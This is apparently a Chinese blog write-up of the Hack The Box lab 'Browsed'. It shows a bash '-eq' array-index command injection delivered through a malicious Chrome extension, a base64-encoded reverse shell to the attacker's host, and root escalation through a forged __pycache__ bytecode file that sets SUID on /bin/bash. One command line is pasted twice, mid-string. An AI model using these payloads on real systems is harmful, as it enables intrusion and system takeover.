HTB靶机 Browsed 渗透测试记录

misaka19008 发布于 2026-01-11 622 次阅读 3451 字



目标信息

IP地址:10.129.4.64(非固定IP地址)


信息收集

ICMP检测

PING 10.129.4.64 (10.129.4.64) 56(84) bytes of data.
64 bytes from 10.129.4.64: icmp_seq=1 ttl=63 time=316 ms
64 bytes from 10.129.4.64: icmp_seq=2 ttl=63 time=315 ms
64 bytes from 10.129.4.64: icmp_seq=3 ttl=63 time=313 ms
64 bytes from 10.129.4.64: icmp_seq=4 ttl=63 time=310 ms

--- 10.129.4.64 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 310.459/313.546/315.746/1.979 ms

攻击机和靶机间网络通信正常。

防火墙检测

# Nmap 7.95 scan initiated Sun Jan 11 07:05:59 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.4.64
Warning: 10.129.4.64 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.4.64
Host is up (0.34s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE         SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http

# Nmap done at Sun Jan 11 07:06:35 2026 -- 1 IP address (1 host up) scanned in 35.61 seconds

靶机疑似开放2TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun Jan 11 07:08:41 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.4.64
Nmap scan report for 10.129.4.64
Host is up (0.31s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp    open     http          nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
3204/tcp  filtered netwatcher-db
4146/tcp  filtered tgcconnect
11901/tcp filtered unknown
17708/tcp filtered unknown
20167/tcp filtered tolfab
26788/tcp filtered unknown
28841/tcp filtered unknown
30374/tcp filtered unknown
36330/tcp filtered unknown
39199/tcp filtered unknown
43271/tcp filtered unknown
43453/tcp filtered unknown
48642/tcp filtered unknown
61135/tcp filtered unknown
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   509.49 ms 10.10.16.1
2   306.19 ms 10.129.4.64

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 11 07:09:50 2026 -- 1 IP address (1 host up) scanned in 69.06 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun Jan 11 07:10:50 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.4.64
Warning: 10.129.4.64 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.4.64
Host is up (0.32s latency).
All 65535 scanned ports on 10.129.4.64 are in ignored states.
Not shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)

# Nmap done at Sun Jan 11 07:14:59 2026 -- 1 IP address (1 host up) scanned in 249.28 seconds

UDP端口详细信息扫描结果

(无)

同时发现,靶机运行Ubuntu Linux操作系统,开放了22/ssh80/http服务,Web中间件为Nginx v1.24.0,根据HackTheBox靶机制作规则,主域名应为browsed.htb


服务探测

SSH服务(22端口)

尝试使用ssh工具连接靶机,确定可使用的登录方式:

ssh root@browsed.htb

发现靶机SSH服务允许使用密钥和密码登录。

Web应用程序(80端口)

打开主页:http://browsed.htb/

发现主页为一家浏览器插件开发公司的站点,页面右上角存在SamplesUpload Extension链接。

首先点击Samples,跳转到了/samples.html,发现为几个浏览器插件的下载界面:

随后点击上传插件链接,跳转到了/upload.php界面:

显然该页面为Chrome插件上传点,上传按钮下方还有一个文本框,根据说明文本,当插件被成功上传后,一位开发人员会对插件进行调试,并且返回一些回馈信息。

查看网页源代码,发现用户点击上传按钮后,前端会调用pollOutput()方法,请求/upload.php?output=1接口获取回馈信息,并将信息添加至文本框中:

function pollOutput() {
  fetch('upload.php?output=1')
    .then(r => r.text())
    .then(txt => {
      // Split output into lines
      const lines = txt.split('n');
      // Build output preserving line breaks
      const outputElem = document.getElementById('output');
      outputElem.innerHTML = ''; // Clear previous
      lines.forEach(line => {
        if (line.includes('extension')) {
          const span = document.createElement('span');
          span.style.color = 'red';
          span.textContent = line;
          outputElem.appendChild(span);
        } else {
          outputElem.appendChild(document.createTextNode(line));
        }
        outputElem.appendChild(document.createTextNode('n'));
      });
    });
}

直接返回/samples.html,随便选择一个插件包下载:

接着将插件包上传,等待一会儿后,页面返回了大量调试日志:

访问/upload.php?output=1接口,获取全部调试日志:

发现返回的“调试日志”实际上是ChromeDriver无头浏览器驱动的运行日志。逐行翻看,在第162行出现了一个新域名browsedinternals.htb

[5782:5787:0111/111047.412820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/

将该域名添加到/etc/hosts文件中,随后访问:

成功发现Gitea源代码管理系统!


渗透测试

内网应用源代码审计

打开Gitea代码管理系统:http://browsedinternals.htb/,点击探索按钮,查看公开的仓库:

发现larry用户拥有一个名为MarkdownPreview的代码仓库,且编程语言为Python。首先查看app.py

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
    return '''
    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>
    '''

@app.route('/submit', methods=['POST'])
def submit():
    content = request.form.get('content', '')
    if not content.strip():
        return 'Empty content. <a href="/">Go back</a>'

    # Convert markdown to HTML
    html = markdown.markdown(content)

    # Save HTML to unique file
    filename = f"{uuid.uuid4().hex}.html"
    filepath = os.path.join(FILES_DIR, filename)
    with open(filepath, 'w') as f:
        f.write(html)

    return f'''
    <p>File saved as <code>{filename}</code>.</p>
    <p><a href="/view/{filename}">View Rendered HTML</a></p>
    <p><a href="/">Go back</a></p>
    '''

@app.route('/files')
def list_files():
    files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
    links = 'n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
    return f'''
    <h1>Saved HTML Files</h1>
    <ul>{links}</ul>
    <p><a href="/">Back to editor</a></p>
    '''

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

@app.route('/view/<filename>')
def view_file(filename):
    filename = secure_filename(filename)
    if not filename.endswith('.html'):
        return "Invalid filename", 400
    return send_from_directory(FILES_DIR, filename)

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

该应用程序使用了Flask网页编程框架,且设置为在靶机本地5000/tcp端口监听。粗略审计源代码,发现/routines/<rid>接口对应的方法routines()中,使用了subprocess.run()方法执行了Shell脚本routines.sh,参数rid未经任何检查与过滤,就被直接当做命令行参数传递给了routines.sh

查看routines.sh脚本代码:

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} ;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

虽然除了传入的rid参数外,脚本内没有任何变量可被控制,但脚本使用了-eq运算符,直接将传入参数$1和数字进行了比较,用于区分用户选择的功能。面对这种情况,我们可以传入一个使用字符串作为索引的Bash数组,当索引字符串为命令替换符$()时,Bash Shell将执行替换符内的命令,以获取索引字符串的具体值,此时就出现了命令执行漏洞。

例如,如果我们想执行id命令,则传入参数值只需要为:a[$(id >&2)]+1,就可以达到想要的目的。

注:关于该种命令执行技巧的详细分析,可阅读Bash eq Privilege Escalation - Exploit Notes.

结合靶机会自动安装并打开上传的Chrome插件压缩包的情况进行综合分析,发现可以编写一个恶意Chrome插件上传,使靶机调试程序打开时,自动执行fetch()方法,向存在命令执行漏洞的内网Web服务发送Payload完成攻击。

恶意Chrome插件发送RCE请求

在先前的代码审计过程中,我们已经发现了内网Web服务存在命令执行漏洞,且确定可以上传恶意Chrome插件发送Payload请求,现在进行利用。

首先编写插件的manifest.json

{
  "manifest_version": 3,
  "name": "revshell",
  "version": "0.1",
  "description": "revshell",
  "background": {
    "service_worker": "background.js"
  },
  "host_permissions": [
    "*://127.0.0.1/*", "*://localhost/*"
  ]
}

注:编写ManiFest时需要指定host_permissions,允许插件访问指定格式的URL,否则插件无法发出请求。

接着编写Payload,由于Web服务会将反斜杠当作URI的一部分,我们需要将命令使用Base64编码,通过解码命令base64 -d和管道符配合执行反弹Shell命令:

a[(echo "L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjExNy80NDMgMD4mMScK"|base64 -d|bash >&2)]+42

Payload进行URL编码后,新建background.js,将编码后的Payload加入目标URL

async function revshell() {
  fetch("http://127.0.0.1:5000/routines/%61%5b%28%65%63%68%6f%20%22%4c%32%4a%70%62%69%39%69%59%58%4e%6f%49%43%31%6a%49%43%64%69%59%58%4e%6f%49%43%31%70%49%44%34%6d%49%43%39%6b%5a%58%59%76%64%47%4e%77%4c%7a%45%77%4c%6a%45%77%4c%6a%45%32%4c%6a%45%78%4e%79%38%30%4e%44%4d%67%4d%44%34%6d%4d%53%63%4b%22%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%20%3e%26%32%29%5d%2b%34%32", { mode: "no-cors" }).catch(() => {});
}
revshell();

编写完毕后,打包为revshell.zip文件,同时在本地启动netcat监听:

rlwrap nc -l -p 443 -s 10.10.17.116

然后上传打包的插件:

前端获取到日志信息同时,命令也被执行:

反弹Shell成功!!


权限提升

Sudo PyCache字节码劫持提权

进入系统后,尝试执行sudo -l命令,查看当前用户larrySudo权限:

发现当前用户可免密以root用户身份执行/opt/extensiontool/extension_tool.py脚本,进入/opt/extensiontool/目录查看程序结构:

cd /opt/extensiontool/ && ls -lA

发现程序目录下__pycache__字节码缓存目录的权限为0777,所有用户可读可写;同时查看extension_tool.py源码,发现代码使用import语句导入了extension_utils.py程序模块的内容:

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

extension_tools.pyextension_utils.py源代码如下:

注:__pycache__Python字节码缓存文件的保存目录,当Python运行一个使用了import语句的脚本时,解释器首先会将导入的目标程序模块转换为字节码文件.pyc,当Python下次执行程序时,会从该目录中查找第一次转换的字节码文件调用,默认情况下,如果pyc文件中记录的源代码文件创建、最后编辑时间和文件大小与实际导入目标的源码文件一致,则认为该字节码缓存有效,否则会进行重新转换。

针对如下情况,我们可以创建恶意的extension_utils.py副本,将其转换为字节码文件后放置在__pycache__目录下,如副本创建、最后编辑时间及文件大小和原来的extension_utils.py一致,则Python就会导入恶意的字节码文件,而我们可以任意修改其中的代码,只要文件大小保持在1245字节即可:

import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError

# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}

# --- Manifest validate ---
def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        os.system("chmod 4755 /bin/bash")
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Ma valid.")
        return data
    except ValidationError as e:
        print("[x] Ma validati error:")
        exit(1)

# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
    """ Clean up temporary files or unnecessary directories after packaging """
    temp_dir = '/opt/extensiontool/temp'

    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)

接着将文件下载到靶机上,使用Pythonos.utime()方法更改时间戳,与原文件保持一致:

wget http://10.10.16.117/extension_utils.py
python -c "import os;origin=os.stat('/opt/extensiontool/extension_utils.py');os.utime('extension_utils.py', (origin.st_atime, origin.st_mtime))"

最后调用py_compile库将其转换为字节码,移动到/opt/extensiontool/__pycache__/目录:

python -c "import py_compipython -c "import py_compile;py_compile.compile('extension_utils.py')"
cp __pycache__/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

复制完成后,执行sudo,调用脚本提权:

sudo /opt/extensiontool/extension_tool.py --ext Timer --zip test.zip

成功劫持字节码文件!接下来直接修改root密码:

/bin/bash -p
python -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"

随后切换至root用户:

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2026-01-29